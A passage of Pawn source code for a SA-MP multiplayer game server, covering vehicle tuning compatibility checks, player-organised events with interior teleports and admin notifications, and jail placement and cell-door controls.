        case 420: if( componentid == 1005 || componentid == 1004 || componentid == 1021 || componentid == 1019 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1001 || componentid == 1003) return componentid;
        case 421: if( componentid == 1020 || componentid == 1021 || componentid == 1019 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1014 || componentid == 1023 || componentid == 1016 || componentid == 1000) return componentid;
        case 422: if( componentid == 1020 || componentid == 1021 || componentid == 1019 || componentid == 1013 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1017 || componentid == 1007) return componentid;
        case 426: if( componentid == 1005 || componentid == 1004 || componentid == 1021 || componentid == 1019 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1001 || componentid == 1003) return componentid;
        case 429: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 436: if( componentid == 1020 || componentid == 1021 || componentid == 1022 || componentid == 1019 || componentid == 1013 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1001 || componentid == 1003 || componentid == 1017 || componentid == 1007) return componentid;
        case 438: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 439: if( componentid == 1003 || componentid == 1023 || componentid == 1001 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1017 || componentid == 1007 || componentid == 1142 || componentid == 1143 || componentid == 1144 || componentid == 1145 || componentid == 1013) return componentid;
        case 442: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 445: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 451: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 458: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 466: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 467: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 474: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 475: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 477: if( componentid == 1020 || componentid == 1021 || componentid == 1019 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1017 || componentid == 1007) return componentid;
        case 478: if( componentid == 1005 || componentid == 1004 || componentid == 1012 || componentid == 1020 || componentid == 1021 || componentid == 1022 || componentid == 1013 || componentid == 1024 || componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 479: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 480: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 489: if( componentid == 1005 || componentid == 1004 || componentid == 1020 || componentid == 1019 || componentid == 1018 || componentid == 1013 || componentid == 1024 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1002 || componentid == 1016 || componentid == 1000) return componentid;
        case 491: if( componentid == 1142 || componentid == 1143 || componentid == 1144 || componentid == 1145 || componentid == 1020 || componentid == 1021 || componentid == 1019 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1014 || componentid == 1023 || componentid == 1003 || componentid == 1017 || componentid == 1007) return componentid;
        case 492: if( componentid == 1005 || componentid == 1004 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1016 || componentid == 1000) return componentid;
        case 496: if( componentid == 1006 || componentid == 1017 || componentid == 1007 || componentid == 1011 || componentid == 1019 || componentid == 1023 || componentid == 1001 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1003 || componentid == 1002 || componentid == 1142 || componentid == 1143 || componentid == 1020) return componentid;
        case 500: if( componentid == 1020 || componentid == 1021 || componentid == 1019 || componentid == 1013 || componentid == 1024 || componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 506: if( componentid == 1009) return componentid;
        case 507: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 516: if( componentid == 1004 || componentid == 1020 || componentid == 1021 || componentid == 1019 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1002 || componentid == 1015 || componentid == 1016 || componentid == 1000 || componentid == 1017 || componentid == 1007) return componentid;
        case 517: if( componentid == 1142 || componentid == 1143 || componentid == 1144 || componentid == 1145 || componentid == 1020 || componentid == 1019 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1002 || componentid == 1023 || componentid == 1016 || componentid == 1003 || componentid == 1017 || componentid == 1007) return componentid;
        case 518: if( componentid == 1005 || componentid == 1142 || componentid == 1143 || componentid == 1144 || componentid == 1145 || componentid == 1020 || componentid == 1018 || componentid == 1013 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1001 || componentid == 1023 || componentid == 1003 || componentid == 1017 || componentid == 1007) return componentid;
        case 526: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 527: if( componentid == 1021 || componentid == 1020 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1001 || componentid == 1014 || componentid == 1015 || componentid == 1017 || componentid == 1007) return componentid;
        case 529: if( componentid == 1012 || componentid == 1011 || componentid == 1020 || componentid == 1019 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1001 || componentid == 1023 || componentid == 1003 || componentid == 1017 || componentid == 1007) return componentid;
        case 533: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 534: if( componentid == 1126 || componentid == 1127 || componentid == 1179 || componentid == 1185 || componentid == 1100 || componentid == 1123 || componentid == 1125 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1180 || componentid == 1178 || componentid == 1101 || componentid == 1122 || componentid == 1124 || componentid == 1106) return componentid;
        case 535: if( componentid == 1109 || componentid == 1110 || componentid == 1113 || componentid == 1114 || componentid == 1115 || componentid == 1116 || componentid == 1117 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1120 || componentid == 1118 || componentid == 1121 || componentid == 1119) return componentid;
        case 536: if( componentid == 1104 || componentid == 1105 || componentid == 1182 || componentid == 1181 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1184 || componentid == 1183 || componentid == 1128 || componentid == 1103 || componentid == 1107 || componentid == 1108) return componentid;
        case 540: if( componentid == 1004 || componentid == 1142 || componentid == 1143 || componentid == 1144 || componentid == 1145 || componentid == 1020 || componentid == 1019 || componentid == 1018 || componentid == 1024 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1001 || componentid == 1023 || componentid == 1017 || componentid == 1007) return componentid;
        case 541: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 542: if( componentid == 1144 || componentid == 1145 || componentid == 1020 || componentid == 1021 || componentid == 1019 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1014 || componentid == 1015) return componentid;
        case 545: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 546: if( componentid == 1004 || componentid == 1142 || componentid == 1143 || componentid == 1144 || componentid == 1145 || componentid == 1019 || componentid == 1018 || componentid == 1024 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1002 || componentid == 1001 || componentid == 1023 || componentid == 1017 || componentid == 1007) return componentid;
        case 547: if( componentid == 1142 || componentid == 1143 || componentid == 1020 || componentid == 1021 || componentid == 1019 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1016 || componentid == 1003 || componentid == 1000) return componentid;
        case 549: if( componentid == 1012 || componentid == 1011 || componentid == 1142 || componentid == 1143 || componentid == 1144 || componentid == 1145 || componentid == 1020 || componentid == 1019 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1001 || componentid == 1023 || componentid == 1003 || componentid == 1017 || componentid == 1007) return componentid;
        case 550: if( componentid == 1005 || componentid == 1004 || componentid == 1142 || componentid == 1143 || componentid == 1144 || componentid == 1145 || componentid == 1020 || componentid == 1019 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1001 || componentid == 1023 || componentid == 1003) return componentid;
        case 551: if( componentid == 1005 || componentid == 1020 || componentid == 1021 || componentid == 1019 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1002 || componentid == 1023 || componentid == 1016 || componentid == 1003) return componentid;
        case 555: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 558: if( componentid == 1092 || componentid == 1089 || componentid == 1166 || componentid == 1165 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1168 || componentid == 1167 || componentid == 1088 || componentid == 1091 || componentid == 1164 || componentid == 1163 || componentid == 1094 || componentid == 1090 || componentid == 1095 || componentid == 1093) return componentid;
        case 559: if( componentid == 1065 || componentid == 1066 || componentid == 1160 || componentid == 1173 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1159 || componentid == 1161 || componentid == 1162 || componentid == 1158 || componentid == 1067 || componentid == 1068 || componentid == 1071 || componentid == 1069 || componentid == 1072 || componentid == 1070 || componentid == 1009) return componentid;
        case 560: if( componentid == 1028 || componentid == 1029 || componentid == 1169 || componentid == 1170 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1141 || componentid == 1140 || componentid == 1032 || componentid == 1033 || componentid == 1138 || componentid == 1139 || componentid == 1027 || componentid == 1026 || componentid == 1030 || componentid == 1031) return componentid;
        case 561: if( componentid == 1064 || componentid == 1059 || componentid == 1155 || componentid == 1157 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1154 || componentid == 1156 || componentid == 1055 || componentid == 1061 || componentid == 1058 || componentid == 1060 || componentid == 1062 || componentid == 1056 || componentid == 1063 || componentid == 1057) return componentid;
        case 562: if( componentid == 1034 || componentid == 1037 || componentid == 1171 || componentid == 1172 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1149 || componentid == 1148 || componentid == 1038 || componentid == 1035 || componentid == 1147 || componentid == 1146 || componentid == 1040 || componentid == 1036 || componentid == 1041 || componentid == 1039) return componentid;
        case 565: if( componentid == 1046 || componentid == 1045 || componentid == 1153 || componentid == 1152 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1150 || componentid == 1151 || componentid == 1054 || componentid == 1053 || componentid == 1049 || componentid == 1050 || componentid == 1051 || componentid == 1047 || componentid == 1052 || componentid == 1048) return componentid;
        case 566: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 567: if( componentid == 1129 || componentid == 1132 || componentid == 1189 || componentid == 1188 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1187 || componentid == 1186 || componentid == 1130 || componentid == 1131 || componentid == 1102 || componentid == 1133) return componentid;
        case 575: if( componentid == 1044 || componentid == 1043 || componentid == 1174 || componentid == 1175 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1176 || componentid == 1177 || componentid == 1099 || componentid == 1042) return componentid;
        case 576: if( componentid == 1136 || componentid == 1135 || componentid == 1191 || componentid == 1190 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1192 || componentid == 1193 || componentid == 1137 || componentid == 1134) return componentid;
        case 579: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 580: if( componentid == 1020 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1001 || componentid == 1023 || componentid == 1017 || componentid == 1007) return componentid;
        case 585: if( componentid == 1142 || componentid == 1143 || componentid == 1144 || componentid == 1145 || componentid == 1020 || componentid == 1019 || componentid == 1018 || componentid == 1013 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1001 || componentid == 1023 || componentid == 1003 || componentid == 1017 || componentid == 1007) return componentid;
        case 587: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 589: if( componentid == 1005 || componentid == 1004 || componentid == 1144 || componentid == 1145 || componentid == 1020 || componentid == 1018 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1024 || componentid == 1013 || componentid == 1006 || componentid == 1016 || componentid == 1000 || componentid == 1017 || componentid == 1007) return componentid;
        case 600: if( componentid == 1005 || componentid == 1004 || componentid == 1020 || componentid == 1022 || componentid == 1018 || componentid == 1013 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1017 || componentid == 1007) return componentid;
        case 602: if( componentid == 1008 || componentid == 1009 || componentid == 1010) return componentid;
        case 603: if( componentid == 1144 || componentid == 1145 || componentid == 1142 || componentid == 1143 || componentid == 1020 || componentid == 1019 || componentid == 1018 || componentid == 1024 || componentid == 1008 || componentid == 1009 || componentid == 1010 || componentid == 1006 || componentid == 1001 || componentid == 1023 || componentid == 1017 || componentid == 1007) return componentid;
    }
    return false;
}
stock SetTune( vehicleid ) {
    if( VehicleInfo[ vehicleid ][ vTuned ] ) {
	    if( VehicleInfo[ vehicleid ][ vPaintJob ] != 255 ) ChangeVehiclePaintjob( vehicleid, VehicleInfo[ vehicleid ][ vPaintJob ] );
		if( VehicleInfo[ vehicleid ][ vSpoiler ] != -1 ) AddVehicleComponent( vehicleid, VehicleInfo[ vehicleid ][ vSpoiler ] );
		if( VehicleInfo[ vehicleid ][ vHood ] != -1 ) AddVehicleComponent( vehicleid, VehicleInfo[ vehicleid ][ vHood ] );
		if( VehicleInfo[ vehicleid ][ vRoof ] != -1 ) AddVehicleComponent( vehicleid, VehicleInfo[ vehicleid ][ vRoof ] );
		if( VehicleInfo[ vehicleid ][ vSkirt ] != -1 ) AddVehicleComponent( vehicleid, VehicleInfo[ vehicleid ][ vSkirt ] );
		if( VehicleInfo[ vehicleid ][ vLamps ] != -1 ) AddVehicleComponent( vehicleid, VehicleInfo[ vehicleid ][ vLamps ] );
		if( VehicleInfo[ vehicleid ][ vNitro ] != -1 ) AddVehicleComponent( vehicleid, VehicleInfo[ vehicleid ][ vNitro ] );
		if( VehicleInfo[ vehicleid ][ vExhaust ] != -1 ) AddVehicleComponent( vehicleid, VehicleInfo[ vehicleid ][ vWheels ] );
		if( VehicleInfo[ vehicleid ][ vWheels ] != -1 ) AddVehicleComponent( vehicleid, VehicleInfo[ vehicleid ][ vWheels ] );
		if( VehicleInfo[ vehicleid ][ vStereo ] != -1 ) AddVehicleComponent( vehicleid, VehicleInfo[ vehicleid ][ vStereo ] );
		if( VehicleInfo[ vehicleid ][ vHydraulics ] != -1 ) AddVehicleComponent( vehicleid, VehicleInfo[ vehicleid ][ vHydraulics ] );
		if( VehicleInfo[ vehicleid ][ vFrontBumper ] != -1 ) AddVehicleComponent( vehicleid, VehicleInfo[ vehicleid ][ vFrontBumper ] );
		if( VehicleInfo[ vehicleid ][ vRearBumper ] != -1 ) AddVehicleComponent( vehicleid, VehicleInfo[ vehicleid ][ vRearBumper ] );
		if( VehicleInfo[ vehicleid ][ vRightVent ] != -1 ) AddVehicleComponent( vehicleid, VehicleInfo[ vehicleid ][ vRightVent ] );
		if( VehicleInfo[ vehicleid ][ vLeftVent ] != -1 ) AddVehicleComponent( vehicleid, VehicleInfo[ vehicleid ][ vLeftVent ] );
    }
}
function SetTuneToEx(playerid)
{

            if( !IsPlayerInAnyVehicle( playerid ) ) return 1;
	        if( GetPlayerState( playerid ) != PLAYER_STATE_DRIVER ) return 1;

            new vehicleid = GetPlayerVehicleID( playerid );

			if( TPInfo[ playerid ][ tPaintjob ] == false ) {

		        RemoveVehicleComponent( vehicleid, cInfo[ TPInfo[ playerid ][ tID ] ][ cID ] );

				SetTune( vehicleid );
			}
			else if( TPInfo[ playerid ][ tPaintjob ] == true ) {
			    ChangeVehiclePaintjob( vehicleid, 3 );
				ChangeVehicleColor( vehicleid, TPInfo[ playerid ][ PJColor ][ 0 ], TPInfo[ playerid ][ PJColor ][ 1 ] );
			}

			SetCameraToTuning(playerid);

			TuningTDControl( playerid, false );
return 1;
}
function ShowInteriorList(playerid)
{
	if(ReqType[playerid]==1)// Duel
	{
	ShowPlayerDialog(playerid, 5012, DIALOG_STYLE_LIST, "Select the interior", "GSLS\nGSLV\nWarehouse 1\nWarehouse 2", "Done", "Back");
	}
	if(ReqType[playerid]==2)// LMS
	{
	ShowPlayerDialog(playerid, 5012, DIALOG_STYLE_LIST, "Select the interior", "Warehouse 1\nWarehouse 2\nKick Start Stadium\nRC Battlefield", "Done", "Back");
	}
	if(ReqType[playerid]==3)// LCS
	{
	ShowPlayerDialog(playerid, 5012, DIALOG_STYLE_LIST, "Select the interior", "Bloodbowl\nDirt Bike Stadium", "Done", "Back");
	}
	if(ReqType[playerid]==4)// Race
	{
	ShowPlayerDialog(playerid, 5012, DIALOG_STYLE_LIST, "Select the interior", "8-Track Stadium\nFree world without any players", "Done", "Back");
	}
	if(ReqType[playerid]==5)// Protect the VIP
	{
	ShowPlayerDialog(playerid, 5012, DIALOG_STYLE_LIST, "Select the interior", "Free world with all players\nFree world without any players", "Done", "Back");
	}
	if(ReqType[playerid]==6)// Dice
	{
	ShowPlayerDialog(playerid, 5012, DIALOG_STYLE_LIST, "Select the interior", "Free world without any players\nLiberty City", "Done", "Back");
	}
	if(ReqType[playerid]==7)// Paintball
	{
	ShowPlayerDialog(playerid, 5012, DIALOG_STYLE_LIST, "Select the interior", "Paintball LS", "Done", "Back");
	}
}
function GetEmptyEventID()
{
 new ReturnInT = 9999;
	for(new i = 0;i<MAX_PLAYERS;i++)
	{
	   if(!ReqEventID[i])
	   {
		  ReturnInT = i;
		  break;
	   }
	}
	return ReturnInT;
}
stock GetEventTypeName(type)
{
new typeName[50];
if(type==1){typeName="Duel";}
if(type==2){typeName="Last Man Standing";}
if(type==3){typeName="Last Car Standing";}
if(type==4){typeName="Race";}
if(type==5){typeName="Protect the VIP";}
if(type==6){typeName="Dice";}
if(type==7){typeName="Paintball";}
return typeName;
}
stock GetEventInteriorName(type, number)
{
new intName[50];
if(type==1)// Duel
{
if(number==1){intName="GSLS";}
if(number==2){intName="GSLV";}
if(number==3){intName="Warehouse 1";}
if(number==4){intName="Warehouse 2";}
}
if(type==2)// LMS
{
if(number==1){intName="Warehouse 1";}
if(number==2){intName="Warehouse 2";}
if(number==3){intName="Kick Start Stadium";}
if(number==4){intName="RC Battlefield";}
}
if(type==3)// LCS
{
if(number==1){intName="Bloodbowl";}
if(number==2){intName="Dirt Bike Stadium";}
}
if(type==4)// Race
{
if(number==1){intName="8-Track Stadium";}
if(number==2){intName="Free world without any players";}
}
if(type==5)// Protect the VIP
{
if(number==1){intName="Free world with all players";}
if(number==2){intName="Free world without any players";}
}
if(type==6)// Dice
{
if(number==1){intName="Free world without any players";}
if(number==2){intName="Liberty City";}
}
if(type==7)// Paintball
{
if(number==1){intName="Paintball LS";}
}
return intName;
}
function SendEventRequest(playerid, title[], prize, minimum, maximum, type, location, helper)
{
new locName[50], typeName[50], msg[144];
format(locName, sizeof(locName), "%s", GetEventInteriorName(type, location));format(typeName, sizeof(typeName), "%s", GetEventTypeName(type));
ReqMyEventID[playerid]=GetEmptyEventID();
ReqEventID[playerid]=true;
new id=ReqMyEventID[playerid];
/*format(msg, sizeof(msg), "Event Title: %s", title);SCM(playerid, COLOR_YELLOW, msg);
format(msg, sizeof(msg), "Event Prize: $%s", FormatNumber(prize));SCM(playerid, COLOR_YELLOW, msg);
format(msg, sizeof(msg), "Minimum-Maximum level to join: %d-%d", minimum, maximum);SCM(playerid, COLOR_YELLOW, msg);
format(msg, sizeof(msg), "Event Type: %s, Event Location: %s", typeName, locName);SCM(playerid, COLOR_YELLOW, msg);
if(helper==9999){format(msg, sizeof(msg), "Event Organizer: %s", RPName(playerid));SCM(playerid, COLOR_YELLOW, msg);}
if(helper!=9999){format(msg, sizeof(msg), "Event Organizer: %s, Event Helper: %s", RPName(playerid), RPName(helper));SCM(playerid, COLOR_YELLOW, msg);}*/
format(msg, sizeof(msg), "Event ID #%d has sent to online admins.", id);SCM(playerid, COLOR_YELLOW, msg);
format(msg, sizeof(msg), "[E#%d] Event Title: %s", id, title);SendAdminMessage(COLOR_YELLOW, msg);
format(msg, sizeof(msg), "[E#%d] Event Prize: $%s", id, FormatNumber(prize));SendAdminMessage(COLOR_YELLOW, msg);
format(msg, sizeof(msg), "[E#%d] Minimum-Maximum level to join: %d-%d", id, minimum, maximum);SendAdminMessage(COLOR_YELLOW, msg);
format(msg, sizeof(msg), "[E#%d] Event Type: %s, Event Location: %s", id, typeName, locName);SendAdminMessage(COLOR_YELLOW, msg);
if(helper==9999){format(msg, sizeof(msg), "[E#%d] Event Organizer: %s", id, RPName(playerid));SendAdminMessage(COLOR_YELLOW, msg);}
if(helper!=9999){format(msg, sizeof(msg), "[E#%d] Event Organizer: %s, Event Helper: %s", id, RPName(playerid), RPName(helper));SendAdminMessage(COLOR_YELLOW, msg);}
format(msg, sizeof(msg), "Use {FFFFFF}/ae %d{FFFF00} to accept this event.", id);SendAdminMessage(COLOR_YELLOW, msg);
}
function EventIDToPlayerID(eventid)
{
new id=9999;
ForEachPlayer(i)
{
if(ReqMyEventID[i]==eventid){id=i;break;}
}
return id;
}
function TeleportOrganizerToEvent(playerid, type, number)
{
new locEx[50];
format(locEx, sizeof(locEx), "%s", GetEventInteriorName(type, number));
if(!strcmp(locEx, "GSLS", true))
{
SetPlayerVirtualWorld(playerid, playerid+1);SetPlayerInterior(playerid, 7);
SetPlayerPos(playerid, 290.426147, -136.110244, 1004.062500+1);
}
if(!strcmp(locEx, "GSLV", true))
{
SetPlayerVirtualWorld(playerid, playerid+1);SetPlayerInterior(playerid, 4);
SetPlayerPos(playerid, 315.042022, -64.297622, 1001.515625+1);
}
if(!strcmp(locEx, "Warehouse 1", true))
{
SetPlayerVirtualWorld(playerid, playerid+1);SetPlayerInterior(playerid, 1);
SetPlayerPos(playerid, 1412.639892, -1.787510, 1000.924377+1);
}
if(!strcmp(locEx, "Warehouse 2", true))
{
SetPlayerVirtualWorld(playerid, playerid+1);SetPlayerInterior(playerid, 18);
SetPlayerPos(playerid, 1302.519897, -1.787510, 1001.028259+1);
}
if(!strcmp(locEx, "Kick Start Stadium", true))
{
SetPlayerVirtualWorld(playerid, playerid+1);SetPlayerInterior(playerid, 14);
SetPlayerPos(playerid, -1410.72, 1591.16, 1052.53+1);
}
if(!strcmp(locEx, "RC Battlefield", true))
{
SetPlayerVirtualWorld(playerid, playerid+1);SetPlayerInterior(playerid, 10);
SetPlayerPos(playerid, 	-975.975708, 1060.983032, 1345.671875+1);
}
if(!strcmp(locEx, "Bloodbowl", true))
{
SetPlayerVirtualWorld(playerid, playerid+1);SetPlayerInterior(playerid, 15);
SetPlayerPos(playerid, -1394.20, 987.62, 1023.96+1);
}
if(!strcmp(locEx, "Dirt Bike Stadium", true))
{
SetPlayerVirtualWorld(playerid, playerid+1);SetPlayerInterior(playerid, 4);
SetPlayerPos(playerid, -1424.9319, -664.5869, 1059.8585+1);
}
if(!strcmp(locEx, "8-Track Stadium", true))
{
SetPlayerVirtualWorld(playerid, playerid+1);SetPlayerInterior(playerid, 7);
SetPlayerPos(playerid, -1395.958, -208.197, 1051.170+1);
}
if(!strcmp(locEx, "Paintball LS", true))
{
SetPlayerVirtualWorld(playerid, 0);SetPlayerInterior(playerid, 0);
SetPlayerPos(playerid, 1309.886596, -1374.349609, 13.626704+1);
}
if(!strcmp(locEx, "Free world without any players", true))
{
if(GetPlayerInterior(playerid)==0)
{
SetPlayerVirtualWorld(playerid, playerid+1);
}
else
{
SetPlayerInterior(playerid, 0);SetPlayerPos(playerid, 1529.027099, -1689.488281, 13.382812);SetPlayerVirtualWorld(playerid, playerid+1);
}
}
if(!strcmp(locEx, "Free world with all players", true))
{

}
if(!strcmp(locEx, "Liberty City", true))
{
SetPlayerVirtualWorld(playerid, playerid+1);SetPlayerInterior(playerid, 1);
SetPlayerPos(playerid, -831.026550, 501.681793, 1358.325561+1);
}
}
function ElamEvent(playerid, color)
{
new locName[50], typeName[50], msg[144];
if(!IsThereEvent){}else{
format(locName, sizeof(locName), "%s", GetEventInteriorName(SVEventType, SVEventInt));format(typeName, sizeof(typeName), "%s", GetEventTypeName(SVEventType));
format(msg, sizeof(msg), "Event Title: %s", SVEventTitle);SCM(playerid, color, msg);
format(msg, sizeof(msg), "Event Prize: $%s", FormatNumber(SVEventPrize));SCM(playerid, color, msg);
format(msg, sizeof(msg), "Minimum-Maximum level to join: %d-%d", SVEventMinLevel, SVEventMaxLevel);SCM(playerid, color, msg);
format(msg, sizeof(msg), "Event Type: %s, Event Location: %s", typeName, locName);SCM(playerid, color, msg);
if(SVEventHamkar==9999){format(msg, sizeof(msg), "Event Organizer: %s", RPName(SVEventOrganizer));SCM(playerid, color, msg);}
if(SVEventHamkar!=9999){format(msg, sizeof(msg), "Event Organizer: %s, Event Helper: %s", RPName(SVEventOrganizer), RPName(SVEventHamkar));SCM(playerid, color, msg);}
}
}
function EventWarn(string[])
{
new xs[144];
format(xs, sizeof(xs), "[Event-Warn]:{FFFFFF} %s", string);
SendEventMessage(COLOR_YELLOW, xs);
}
StopEvent(playerid, reason[], forcestop, elam=1)
{
new msg[144];
ForEachPlayer(i){EventBannedPlayer[i]=0;if(EventPlayerEx[i]==1||SVEventHamkar==i||SVEventOrganizer==i){TogglePlayerControllable(i, 1);ResetPlayerKolang(playerid);SetSpawnKol(playerid);SpawnPlayer(playerid);}}
SVEventOrganizer=9999;SVEventPrize=0;SVEventInt=0;SVEventTitle="null";SVEventHamkar=9999;SVEventMinLevel=1;SVEventMaxLevel=200;SVEventType=0;IsThereEvent=false;SVEventPOS[0]=0.0;SVEventPOS[1]=0.0;SVEventPOS[2]=0.0;SVEventInt=0;SVEventVW=0;SVEventJoin=false;BazShodeEvent=0;SVEventPosSetShode=0;
KillTimer(EventStopper);
for(new a = 0;a<EventCar;a++)
{
DestroyVehicle(EventCars[a]);
EventCars[a] = 0;
VehicleTurbo[EventCars[a]] = 0;
vJump[EventCars[a]] = 0;
if(VehLinkDare[EventCars[a]] == 1)
{
 VehLinkDare[EventCars[a]] = 0;
 VehLink[EventCars[a]][0] = '\0';
}
}
EventCar=0;
if(elam==1)
{
if(forcestop&&playerid!=9999)// Force
{
format(msg, sizeof(msg), "Event get overed by Admin %s, reason: %s", RPName(playerid), reason);
EventSay(COLOR_YELLOW, msg);
}
if(!forcestop&&playerid!=9999)// normal
{
format(msg, sizeof(msg), "Event get overed, %s", reason);
EventSay(COLOR_YELLOW, msg);
}
if(playerid==9999)// admbot
{
format(msg, sizeof(msg), "Event get overed by AdmBot, reason: %s", reason);
EventSay(COLOR_YELLOW, msg);
}
}
}
function IsEventPlayer(playerid)
{
if(EventPlayerEx[playerid]==1)return true;
else return false;
}
function LeaveEvent(playerid)
{
		EventPlayerEx[playerid]=0;
		new xs[80];
		format(xs, sizeof(xs), "%s left the event", RPName(playerid));EventWarn(xs);
		TogglePlayerControllable(playerid, 1);ResetPlayerKolang(playerid);SetSpawnKol(playerid);SpawnPlayer(playerid);
}
function IsACopNear(playerid, distance)
{
ForEachPlayer(i)
{
if(i==playerid)continue;
if(ProxDetectorS(distance,i,playerid))
{
if(IsACop(i))return true;
}
}
return false;
}
function SetPlayerToJail(playerid)
{
if(PINFO[playerid][pJailTime]>=1)
{
if(PINFO[playerid][pAdminJailed]!=0)// Admin Jailed
{
new sina = random(sizeof(EnferadiInJail));
SetPlayerWantedLevel(playerid, 0);
SetPlayerVirtualWorld(playerid, 0);SetPlayerInterior(playerid, 0);
SetPlayerPos(playerid, EnferadiInJail[sina][0] , EnferadiInJail[sina][1] , EnferadiInJail[sina][2]);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
if(PINFO[playerid][pSex]==1)SetPlayerSkin(playerid, 62);
if(PINFO[playerid][pSex]!=1)SetPlayerSkin(playerid, 69);
PlayerTextDrawShow(playerid,JailTextDraw[playerid]);
}
else// Normally Jailed
{
new sina = random(sizeof(NormalInJail));
SetPlayerWantedLevel(playerid, 0);
SetPlayerVirtualWorld(playerid, 0);SetPlayerInterior(playerid, 0);
SetPlayerPos(playerid, NormalInJail[sina][0] , NormalInJail[sina][1] , NormalInJail[sina][2]);
FreezePlayer(playerid);
Mahal[playerid] = 2;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
if(PINFO[playerid][pSex]==1)SetPlayerSkin(playerid, 62);
if(PINFO[playerid][pSex]!=1)SetPlayerSkin(playerid, 69);
PlayerTextDrawShow(playerid,JailTextDraw[playerid]);
}
}
}
function OpenAllCells()
{
if(allcell == true)return 0;
new strlol[100];
for(new cell = 1;cell<sizeof(ZendanInfoEx);cell++)
{
MoveDynamicObject(ZendanInfoEx[cell][ciObjID],ZendanInfoEx[cell][CellOpenx],ZendanInfoEx[cell][CellOpenY],ZendanInfoEx[cell][CellOpenZ],1,ZendanInfoEx[cell][CellOpenRotX],ZendanInfoEx[cell][CellOpenRotY],ZendanInfoEx[cell][CellOpenRotZ]);
format(strlol,100,"Cell: %i\n Use /closecell %i to close this cell.",cell,cell);
UpdateDynamic3DTextLabelText(ZendanInfoEx[cell][ci3D],COLOR_WHITE,strlol);
ZendanInfoEx[cell][ciOpened] = true;
}
allcell = true;
UpdateDynamic3DTextLabelText(OAC3D,COLOR_WHITE,"Jail Control Panel\nUse /closeallcells to close all cells");
return 1;
}
function CloseAllCells()
{
if(allcell == false)return 0;
new strlol[100];
for(new cell = 1;cell<sizeof(ZendanInfoEx);cell++)
{
